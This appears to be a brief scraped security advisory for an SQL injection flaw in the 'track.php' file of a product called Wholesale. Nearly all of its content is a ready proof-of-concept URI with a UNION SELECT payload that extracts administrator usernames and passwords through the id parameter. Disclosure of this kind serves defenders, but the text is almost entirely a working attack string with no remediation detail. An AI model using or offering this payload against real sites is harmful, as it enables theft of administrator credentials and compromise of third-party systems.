|
Wholesale 'track.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept URI is available: http://www.example.com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin-- |
|
Privacy Statement |